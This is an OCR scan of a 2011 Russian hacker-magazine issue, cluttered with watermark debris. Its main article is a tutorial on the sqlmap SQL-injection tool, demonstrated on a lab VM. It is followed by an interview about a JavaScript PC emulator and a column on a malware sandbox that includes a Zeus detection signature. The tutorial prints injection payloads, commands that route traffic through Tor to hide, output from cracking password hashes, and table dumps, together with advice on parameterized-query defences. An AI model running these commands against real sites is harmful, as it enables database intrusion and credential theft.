Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
8.91 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

Sqlmap,илиSQL-инъекции—этопростоw Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Boolean-basedblindSQLinjection

следомвнедряемыйSQL-запрос.Этотприемвосновномиспользуется длявнедренияSQL-команд,отличныхотSELECT,напримердлямани- пуляцииданными(спомощьюINSERTилиDELETE).Примечательно, чтотехникапотенциальноможетпривестиквозможностичтения/ записиизфайловойсистемы,атакжевыполнениюкомандвОС. Правда,взависимостиотиспользуемойвкачествебэк-эндасистемы управлениябазамиданных,атакжепользовательскихпривилегий.

Boolean-basedblindSQLinjection.Реализациятакназываемой слепойинъекции:данныеизБДв«чистом»видеуязвимымвебприложениемнигденевозвращаются.Приемтакженазывается дедуктивным.SqlmapдобавляетвуязвимыйпараметрHTTPзапросасинтаксическиправильносоставленноевыражение, содержащееподзапросSELECT(илилюбуюдругуюкомандудля получениявыборкиизбазыданных).Длякаждогополученного HTTP-ответавыполняетсясравнениеheaders/bodyстраницы сответомнаизначальныйзапрос—такимобразом,утилита можетсимволзасимволомопределитьвыводвнедренного SQL-выражения.Вкачествеальтернативыпользовательможет

предоставитьстрокуилирегулярноевыражениедляопределения «true»-страниц(отсюдаиназваниеатаки).Алгоритмбинарного поиска,реализованныйвsqlmapдлявыполненияэтойтехники, способенизвлечькаждыйсимволвыводамаксимумсемьюHTTPзапросами.Втомслучае,когдавыводсостоитнетолькоизобычных символов,сканерподстраиваеталгоритмдляработысболее широкимдиапазономсимволов(напримердляunicode’а).

Time-basedblindSQLinjection.Полностьюслепаяинъекция.Точно такжекакивпредыдущемслучае,сканер«играет»суязвимым параметром.Новэтомслучаедобавляетподзапрос,которыйприводиткпаузеработыDBMSнаопределенноеколичествосекунд (например,спомощьюкомандSLEEP()илиBENCHMARK()).Используяэтуособенность,сканерможетпосимвольноизвлечьданныеиз БД,сравниваявремяответанаоригинальныйзапросиназапросс

SQL-ИНЪЕКЦИЯ:ЧТОЭТО?

SQL-инъекция—этоатака,направленнаянавеб-приложение,в ходекоторойконструируетсяSQL-выражениеизпользовательского вводапутемпростойконкантенации(например,$query="SELECT * FROM users WHERE id=".$_REQUEST["id"]).Вслучаеуспехаатакующий можетизменитьлогикувыполненияSQL-запросатак,какэтоему нужно.ЧащевсегоонвыполняетпростойfingerprintingСУБД,атакже извлекаеттаблицыснаиболее«интересными»именами(например «users»).Послеэтого,взависимостиотпривилегий,скоторымизапущеноуязвимоеприложение,онможетобратитьсякзащищенным частямбэк-эндавеб-приложения(например,прочитатьфайлына сторонехостаиливыполнитьпроизвольныекоманды).

внедреннымкодом.Здесьтакжеиспользуетсяалгоритмдвоичного поиска.Крометого,применяетсяспециальныйметоддляверификацииданных,чтобыуменьшитьвероятностьнеправильного извлечениясимволаиз-занестабильногосоединения.

Несмотрянаточтосканерумеетавтоматическиэксплуатировать найденныеуязвимости,нужнодетальнопредставлятьсебекаждую изиспользуемыхтехник.ЕслитемаSQL-инъекцийтебепоказнакома

тольконапальцах,рекомендуюполистатьархив][илипрочитатьмануалДмитрияЕвтеева«SQLInjection:ОтАдоЯ»(bit.ly/pBSNVA).Важно

такжепонимать,чтодляразныхDBMSреализацииатакизачастую сильноотличаются.Всеэтислучаиумеетобрабатыватьsqlmapина данныймоментподдерживаетMySQL,Oracle,PostgreSQL,Microsoft SQLServer,MicrosoftAccess,SQLite,Firebird,SybaseиSAPMaxDB.

ФИШКИSQLMAP

ДвижокдляопределенияSQL-уязвимостей—пускайисамаяважная, новсе-такинеединственнаячастьфункционалаsqlmap.Ипреждечем показатьработусканеравдействии,немогухотябывкратце,ноне рассказатьонекоторыхегофишках.Итак,вsqlmapреализовано:

Извлечениеименпользователей,хешейихпаролей,атакжепривилегийиполей.

Автоматическоераспознаваниетипаиспользуемогохешаивозможностьвзломаегоспомощьюбрутфорсапословарю.

Получениеспискабазданных,таблицистолбцов.

Возможностьсделатьполныйиличастичныйдампбазыданных.

Продвинутыймеханизмпоискабаз,таблицилидажестолбцов(по всембазамсразу),чтоможетбытьполезнодляопределениятаблицс«интересными»даннымивродеименпользователей(users) илипаролей(pass).

Загрузкаили,наоборот,закачкапроизвольныхфайловнасервер, еслиуязвимоевеб-приложениеиспользуетMySQL,MySQL, PostreSQLилиMicrosoftSQLServer.

Выполнениепроизвольныхкомандиполучениешелла,еслинахосте используетсяоднаизСУБД,перечисленныхвпредыдущемпункте.

Поддержкапрямогоподключениякбазеданных(безявногоис- пользованияSQL-уязвимости)сиспользованиемполученныхв ходеатакиимениипароляпользователядлядоступакDMBS,а такжеIP-адреса,портаиименибазыданных.

УстановканадежногоTCP-соединения(такназываемогоout-of- band)междумашинойпентестераихостом,накоторомзапущен сервербазданных.Вкачествеоберткидляэтогоканаламожет статьинтерактивнаякоманднаястрока(шелл),сессияMeterpreter илидоступкудаленномурабочемустолучерезVNC-подключение.

Повышениепривилегийдляпроцессабазыданныхчерезкоманду getsystemMetasploit’а,которая,помимопрочих,реализуетизвест- нуютехникуkitrap0d(MS10-015).

Какодинизавторовэтойутилитымогусказать:этодействительно хорошийинструмент,созданныйхакерамидляхакеров.Ионработает!

ХАКЕР 10/153/2011

029

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

F

 

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

PCmZONE

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

 

.c

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-xcha

n

e

 

ПРИСТУПАЕМКПРАКТИКЕ

Убедитьсявэтомтебепомогутнесколькомоихсценариев.Этонаиболеетипичныеситуации,которыеиспользуютосновныевозможности sqlmap.Кслову,тытожеможешьсразупроверитьвесьфункционал сканера—например,наспециальносозданномтренировочномпри- ложенииотOWASP(www.owasp.org),вкоторомнамеренновоссозданы многиеизопасныхошибокпрограммистов.Тутнадосказать,что sqlmapнаписаннаPython’е,азначит,тысможешьзапуститьегопод любойОС.Единственноетребование—этоустановленныйвсистеме интерпретаторпайтона.Вкачествеобъектадлятестанапроникновениеябудуиспользоватьвиртуальнуюмашину,накоторойбудет крутитьсястандартныйстекLAMP(Linux/Apache/MySQL/PHP)вместе снесколькимиуязвимымивеб-приложениями.

СЦЕНАРИЙ№1

Условимся,чтомыхотимпроэксплуатироватьуязвимость,котораябыла найденавGET-параметре«id»веб-страницы,расположеннойпоадресу http://www.site.com/vuln.php?id=1(дляуказанияURLбудетключ-u).

Чтобыснизитьподозрительнуюактивность,мыбудеммаскироватьсяпод обычныйбраузер(ключ --random-agent),адляподключенияиспользо- ватьзащищенныйканалTOR-сети(--tor).Итак,запускаемsqlmap:

$ python sqlmap.py -u "http://www.site.com/vuln.php?id=1"

--random-agent --tor

sqlmap/1.0-dev (r4365) — automatic SQL injection

and database takeover tool

Сканеропределитнесколькоточекдлявыполненияинъекцийв 17HTTP(S)-запросах.Обративнимание,чтодлякаждойизнихуказы- ваетсятип,атакжепэйлоад.

Place: GET

Parameter: id

Type: boolean-based blind

Title: AND boolean-based blind — WHERE or HAVING clause

Payload: id=1 AND 1826=1826

Type: error-based

Title: MySQL >= 5.0 AND error-based — WHERE or HAVING clause

Payload: id=1 AND (SELECT 8532 FROM(SELECT COUNT(*),CONCAT(

CHAR(58,98,116,120,58),(SELECT (CASE WHEN (8532=8532) THEN 1

ELSE 0 END)),CHAR(58,98,121,102,58),FLOOR(RAND(0)*2))x FROM

Error-basedSQLinjection

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ТИПИЧНАЯОШИБКА

Тойошибкойпрограммистов,из-закоторойстановитсявозможной SQL-атака,чащевсегоявляетсяпрямаяконкантенациянефильтруе- мыхилинеприводимыхкнужномутипузначенийпараметроввстро- ках,которыесодержатSQL-выражения.Например,вPHPнаиболее частымпримеромнебрежностиявляетсяиспользованиекодавроде $query="SELECT name, description, comment FROM catalogs WHERE catid=".$_GET["catid"].Кактывидишь,GETпараметр“catid”напрямуюизвлекаетсяиззапросаизапростоможетсодержатьзловредный SQLзапрос.Такимобразом,взломщникможетпростопривестиURL квидувроде«http://www.site.com/vuln.php?page=front&catid=-1 UNION ALL SELECT database(),current_user(),version()&uid=0»,для тогочтобыполучитьинформациюобазеданных,котораяотобразится прямовсодержимомстраницы.

INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

Type: UNION query

Title: MySQL UNION query (NULL) — 3 columns

Payload: id=1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,98,116

,120,58),IFNULL(CAST(CHAR(74,76,73,112,111,113,103,118,80,84) AS CH AR),CHAR(32)),CHAR(58,98,121,102,58))

Type: AND/OR time-based blind

Title: MySQL > 5.0.11 AND time-based blind

Payload: id=1 AND SLEEP(10)

Помимоэтого,сканервыполнитраспознаваниебазыданных,атак- жедругихтехнологий,использованныхвеб-приложением:

[02:01:45] [INFO] the back-end DBMS is MySQL

web application technology: PHP 5.2.6, Apache 2.2.9

back-end DBMS: MySQL 5.0

Вконцеконцовполученныеданныебудутзаписанывопределенныйфайл:

[02:01:45] [INFO] Fetched data logged to text files under '/opt/

sqlmap/output/www.site.com'

СЦЕНАРИЙ№2

Теперьследующийпример.Предположим,чтомыхотимустроить болеедетальныйfingerprinting(-f)иполучитьтекстовыйбаннер (--banner)системыуправлениябазойданных,включаяееофици- альноеназвание,номерверсии,атакжетекущегопользователя (--current-user).Крометого,насбудутинтересоватьсохраненныепа- роли(--passwords)вместесименамитаблиц(--tables),ноневключая системные,(--exclude-sysdbs)—длявсехсодержащихсявСУБДбаз данных.Нетпроблем,запускаемсканер:

$ python sqlmap.py -u "http://www.site.com/vuln.php?id=1"

--random-agent --tor -f --banner --current-user --passwords

--tables --exclude-sysdbs

Оченьскоромыполучимвседанныеобиспользуемыхтехнологиях, которыезапрашивали:

[02:08:27] [INFO] fetching banner

[02:08:27] [INFO] actively fingerprinting MySQL

[02:08:27] [INFO] executing MySQL comment injection fingerprint

web application technology: PHP 5.2.6, Apache 2.2.9

030

ХАКЕР 10/153/2011

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

back-end DBMS: active fingerprint: MySQL >= 5.1.12 and < 5.5.0 comment injection fingerprint: MySQL 5.1.41

banner parsing fingerprint: MySQL 5.1.41

banner: '5.1.41-3~bpo50+1'

После—имятекущегопользователя:

[02:08:28] [INFO] fetching current user current user: 'root@localhost'

Далееполучаемхешивсехпользовательскихпаролейивыполня- ембрутфорс-атакупословарю:

[02:08:28] [INFO] fetching database users password hashes

do you want to perform a dictionary-based attack against retrieved

password hashes? [Y/n/q] Y

[02:08:30] [INFO] using hash method 'mysql_passwd'

what dictionary do you want to use?

[02:08:32] [INFO] using default dictionary

[02:08:32] [INFO] loading dictionary from

'/opt/sqlmap/txt/wordlist.txt'

do you want to use common password suffixes? (slow!) [y/N] N [02:08:33] [INFO] starting dictionary-based cracking (mysql_passwd) [02:08:35] [INFO] cracked password 'testpass' for user 'root'

database management system users password hashes:

[*] debian-sys-maint [1]:

password hash: *6B2C58EABD91C1776DA223B088B601604F898847

[*] root [1]:

password hash: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29

clear-text password: testpass

Опа!Дляroot’амыбыстроподобралипароль(дляпримераонбыл оченьпростой).Пришловремясдампитьинтересующиенасданные:

[02:08:35] [INFO] fetching database names

[02:08:35] [INFO] fetching tables for databases:

information_schema, mysql, owasp10, testdb

[02:08:35] [INFO] skipping system databases:

information_schema, mysql

Database: owasp10

[3 tables]

КАКЗАЩИТИТЬСЯ?

НаиболеенадежнымспособомпредотвращенияSQL-инъекций являетсяиспользованиепараметризированныхSQL-параметров.К

примеру,вслучаесPHPэтовозможноспомощьюпакетаPEAR’sDB (pear.php.net/package/DB),предлагающегоинтерфейсдлявыполнения

абсолютнобезопасныхSQL-выражений.ОбращениекБДпроисходит следующимобразом: $p = $db->prepare("SELECT * FROM users WHERE id = ?"); $db->execute($p, array($_GET['id'])).Основнаяидеязаключаетсявтом,чтоеслипозицияпараметровявнозадана,томожно абсолютнобезопаснопередаватьSQL-запросыбазеданных,исключая возможностьдляпараметровсамимстатьSQL-выражениями(втом числезловредными).Стоитзаметить,чтодругиемеханизмы,такиекак использованиепринудительногоприведениятипов(например,спомощьюфункцииintval())всвязкесэкранированиемстроктакимифункциями,какmysql_real_escape_string()илиaddslashes(),неявляются абсолютнобезопасными.Проблемавтом,чтосуществуютнекоторые вариантыдляихобхода,аследовательно,кихиспользованиюнеобходимоподходитьсмаксимальнымвниманием.

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

Sqlmap,илиSQL-инъекции—этопростоw Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

+--------------+

 

 

 

 

 

 

 

 

 

 

| accounts

|

 

 

 

 

 

 

 

 

 

 

| blogs_table |

 

 

 

 

 

 

 

 

 

 

| hitlog

|

 

 

 

 

 

 

 

 

 

 

+--------------+

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Database: testdb

 

 

 

 

 

 

 

 

 

 

[1 table]

 

 

 

 

 

 

 

 

 

 

 

+-------------+

 

 

 

 

 

 

 

 

 

 

| users

|

 

 

 

 

 

 

 

 

 

 

+-------------+

[02:08:35] [INFO] Fetched data logged to text files under '/opt/ sqlmap/output/www.site.com'

Готово!

СЦЕНАРИЙ№3

Теперь,обнаруживвбазеданныхtestdb-таблицу(-Dtestdb)синтерес- нымименем«users»(-Tusers),мы,естественно,заходимзаполучить еесодержимоесебе(--dump).Ночтобыпоказатьещеоднуинтересную опцию,небудемкопироватьвседанныепростовфайле,ареплицируемсодержимоетаблицвоснованнуюнафайлахбазуданныхSQLiteна локальноймашине(--replicate).

$ python sqlmap.py -u "http://www.site.com/vuln.php?id=1" --random-agent --tor --dump -D testdb -T users --replicate

Сканерунесоставиттрудаопределитьназваниястолбцовдля таблицыusersивытащитьизнеевсезаписи:

[02:11:26] [INFO] fetching columns for table 'users' on database 'testdb'

[02:11:26] [INFO] fetching entries for table 'users' on database

'testdb' Database: testdb

Table: users

[4 entries]

+----

+--------

+------------

+

| id

| name

| surname

|

+----

+--------

+------------

+

| 2

| fluffy

| bunny

|

| 3

| wu

| ming

|

| 1

| luther | blissett

|

| 4

| NULL

| nameisnull|

+----

+--------

+------------

+

[02:11:27] [INFO] Table 'testdb.users' dumped to sqlite3 file

Такимобразоммыполучимдампбазыданныхвфайлеtestdb. sqlite3вформатеSQLite.Фишкавтом,чтовпритакомраскладемыне толькоможемпосмотретьданные,ноещеивыполнитькнейлюбые запросы,заюзаввозможностиSQLite(например,спомощьюпрограммыSQLiteManager).

РЕЗЮМЕ

В прошлом номере в рубрике Proof-of-concept я рассказывал тебе о DSSS, небольшом Python-скрипте, который умеет обнаруживать SQL-уязвимости. Идея заключалась в том, чтобы создать эффективный сканер, который будет хорошо работать, но уложиться при этом в 100 строчек кода. Это лишний раз доказывает, что обнаружение SQL-уязвимостей — это лишь малая часть дела. Их эксплуатация

— вопрос куда более сложный. Но его готов взять на разрешение sqlmap, в котором мы объединили многолетний опыт огромного количества пентестеров, чтобы сканер мог эффективно не только находить SQL-инъекции, но и извлекать из этого максимальную выгоду. z

ХАКЕР 10/153/2011

031

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

F

 

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

PCmZONE

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

 

.c

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-xcha

n

e

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Proof-of-Concept

ЗАПУСТИТЬLINUX ВБРАУЗЕРЕ

То,чтомыувиделиоднимиюльскимвечеромвредакции,впечатлилонасдоглубиныдуши.Зайдянасайтbellard.org/jslinux, мыувидели,какпрямовнутрибраузерастартуетLinux-система, скоторойможноработатьтак,какеслибыонабылазапущенаподвиртуальноймашиной.Сперванампоказалось,чтоэто простоэмуляторлинуксовойконсолиинекоторыхниксовых команд.Нооченьскоросталоясно,чтоэтополноценныйэмуляторPC,которыйполностьюнаписаннаJavaScriptивыполняется прямовбраузере!МожнодаженаписатьнаСиприложениеиоткомпилироватьегоспомощьювключенногопоумолчаниюкомпилятораTinyCC.Этопросточума!Какомукрутышуудалосьэто реализовать?Вопросыотпадаютсамисобой,когдапосмотришь накопирайты.JavaScriptPCEmulator(аименнотакназывается проект)написалФабрициоБеллард—создательэмулятора QEMU.Мырешилиузнатьунего,какемувголовумоглаприйти такаябезбашеннаяидея.PoCполучилсявневсякихпохвал.

JavaScriptPCEmulatorбыстреевсегоработаетвFirefox

ЗАЧЕМВООБЩЕТЫВСЁ ЭТОЗАТЕЯЛ?РАДИЧЕГО?

ЯхотелсделатьсвоегородаUnix-подобную системувбраузере.Язнаюосуществовании проектаJS/UIX(www.masswerk.at/jsuix),номеня грелаидеяовозможностизапускатьвбраузере реальныебинарникиUnix-команд.Изначально ялишьхотелреализоватьэмуляторпользовательскогоокруженияиполностьюнаписатьна JavaScriptядросистемы.Однакопозжеяосо- знал,чтоспомощьюсовременныхJS-движков прощеэмулироватьцелыйкомпьютериужена немзапускатьполноценныйLinux.

ЧТОВЭТОМОСОБЕННОГО?

Естьнемалоэмуляторовкомпьютера,иявтом числестоюуистоководногоизних(QEMU). JavaScriptPCEmulatorинтересентем,чтоработаетвбольшинствебраузеровивообщенетребуетустановки.Конечно,онзаметномедленнее, новсеравноможетиспользоваться,кпримеру,в образовательныхцелях.Посколькукоднаписан начистомJavaScript’е,онможетпослужитьнеплохимбенчмаркомдлязамерапроизводитель- ностиJS-движков.Могусказать,чтосейчаспро- ектбыстреестартуетнаJaegerMonkey,который используетсявFirefox4,чемвV8(Chrome).Япока немогуобъяснить,вчемпричина,поскольку успелпокаизучитькодтолькоJaegerMonkey (Фабрицио—настоящийгик-монстр.—Прим. редакции).

КАКИЕСЭТИМБЫЛИСЛОЖНОСТИ?

Самая навороченная часть проекта — это, конечно, эмулятор процессора x86. Проект эмулирует еще ряд устройств (последовательный порт, контроллер прерываний, эмулятор терминала), но с процом возни было больше всего. Тут надо понимать: было бы проще эмулировать CPU c RISC-архитектурой (какой-нибудь MIPS или ARM), но куда круче было бы иметь возможность запускать вездесущий x86 код. Ведь в конечном счете это позволит запускать и другие ОС, не только Linux. Еще одна сложность состояла в том, чтобы добиться приличной производительности эмулятора в браузере (сейчас проект работает в Firefox и Chrome).

Я обнаружил, что некоторые конструкции выполняются медленнее, чем другие в тех же самых браузерах. Поэтому пришлось изрядно адаптировать код. z

032

ХАКЕР 10/153/2011

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

F

 

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

PCmZONE

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

 

.c

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-xcha

n

e

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

СтепанИльин(twitter.com/stepah)w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

КОЛОНКАРЕДАКТОРА

Проанализ малвари

авнохотелнайтипростойиинтеллектуальныйинструмент

Ддляанализамалвари.Икажется,нашел.Водномиздавниш-

нихномеровяужерассказывалпроонлайн-сервисы,которые предлагаютзапуститьподозрительныйбинарниквпесочницеи проанализироватьегодействиявсистеме.Детальностьтакихотчетов поражает:можнопосмотреть,какиеключибылисозданывреестре, ккакимфайлампроисходилиобращения,какиеперехватыфункций выполнялисьитакдалее.Некоторыеизтакихсервисовавтоматическиделаютскриншотприложенияипредлагаютполныйдампсетевой активностиисследуемогоприложениявPCAP-формате.Всемуэтому хозяйствунехватаеттолькоодного—некогоинтеллектуального механизма,которыймогбынетольковыкладыватьсухиефакты,но ещеиинтерпретироватьих.То,чегоятакдавнохотел,яобнаружил случайновсервисешвейцарскогоисследователяСтефанаБюльмана. Егоразработка—JoeSandboxWeb(www.joesecurity.org)—также, какимногиедругиесервисы-песочницы,возвращаетдетальнейший отчетоповедениифайлавсистеме,носважнымотличием.Засчет интеллектуальногомеханизмасканерпонятнымязыкомговоритотой активностибинарника,котораявызываетподозрения.«Инжектирует PE-файлвчужойпроцесс»,«Перехватываетвызовwinsocket-функций дляперехвататрафика»,«Открываетпортиждетвходящихподключений»,«Устанавливаетхукидляфункций,выводящиесписокфайлов

идиректорий»—вотчетпопадаютконкретныеиясныеформули- ровки,понятныечеловеку,которыйпородудеятельностиобычноне занимаетсяанализоммалвари.Всесобытияранжируютсяпостепени опасности.Яперечислилнекоторыеизособоподозрительных.Ноесть

идругиемаркеры,накоторыеприанализестоитобратитьвнимание, нокоторыенеобязательносвидетельствуютозловредномхарактере приложения.Например:«Отправляетданныенавеб-сервер»,«Точка

Разныецвета—разныестепениопасностисобытий

входавприложениялежитвнестандартныхсекций»,«Запрашивает списокзапущенныхпроцессов»,«Содержитдолгиеsleep’ы(больше 2минут)»,«Создаетфайлыдрайверов»итакдалее.ВсеговбазеJoe SandboxWebсейчас160сигнатурдляанализаповедениябинарника. Любуюизнихможноподстроитьподсвоинужды.Ничегонестоит написатьисвоисобственныесигнатуры,воспользовавшисьпростым Python-интерфейсомдляобработкиданныхоповедениипрограммы. ПриведудляпримерачастьсигнатурыдляанализаZeus’а,спомощью которогомыобучаемсканерреагироватьнатипичныедляэтоготроя создаваемыефайлы:

zeusfiles = ["c:\\windows\\system32\\ntos.exe", \ [... пропущено ...]

"c:\\windows\\system32\\lowsec\\user.ds"]

def sigmatch(data):

if data["func"] == "fileCreated":

if data["status"].find("success") != -1:

# Проверяем, попадают ли созданные файлы в блек-лист

for zeusfile in zeusfiles:

if data["path"].lower() == zeusfile:

zeusdetected = True

elif data["func"] == "http":

if zeusdetected:

# Извлекаем IP-адрес C&C-сервера

if re.match( r"POST.*gate\.php", data["request"], re.I):

zeusservers.append(data["dstip"])

ВообщеподобнаярасширяемостьдаетJoeSandboxWebстоочков впередпереддругимиконкурентами.Ещеоднойкиллер-фичей являетсявозможностьиспользованияAutoIt-скриптов,чтобыопре- делитьдействия,которыедолжныпроисходитьвовремяанализа малвари.Тоестьможночеткоавтоматизироватьлюбоевзаимодействиессистемойиприложениями(браузингопределенныхстраниц, заполнениеформ,установкуприложенияитакдалее).Тутнадо понимать:многиеиздействиймалварьвыполняеттольковслучае возникновенияопределенныхсобытий.Кпримеру,банковскийтрой можетсобиратьданныеформтолькоприпосещениипользователем определенныхсайтов.Сервиспозволяетобработатьподобнуюситуацию.Спомощьюпростогоскриптамыможемполучитьнепросто отчетотом,чтопроисходитвсистемепослезапускаисследуемого приложения,ноиполныйанализтого,чтопроисходитпривозникновенииобозначенныхсобытий.Сценарии позволяютещеиуправлять анализирующимдвижком:кпримеру,создаватьпринеобходимости скриншотэкранаиливключатьвнужномместеснифердляперехвататрафика.ИэтолишьмалаячастьвозможностейJoeSandboxWeb. Правда,вбесплатнойверсиисервисаонидоступныневсе.Адля получениядажебесплатногоаккаунтапридетсянаписатьписьмоего создателю.Ксчастью,отвечаетонбыстро. z

ХАКЕР 10/153/2011

033

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

F

 

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

PCmZONE

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

 

.c

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-xcha

n

e

 

3D-сканер за$30

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

ЭдуардwГузьClick

 

 

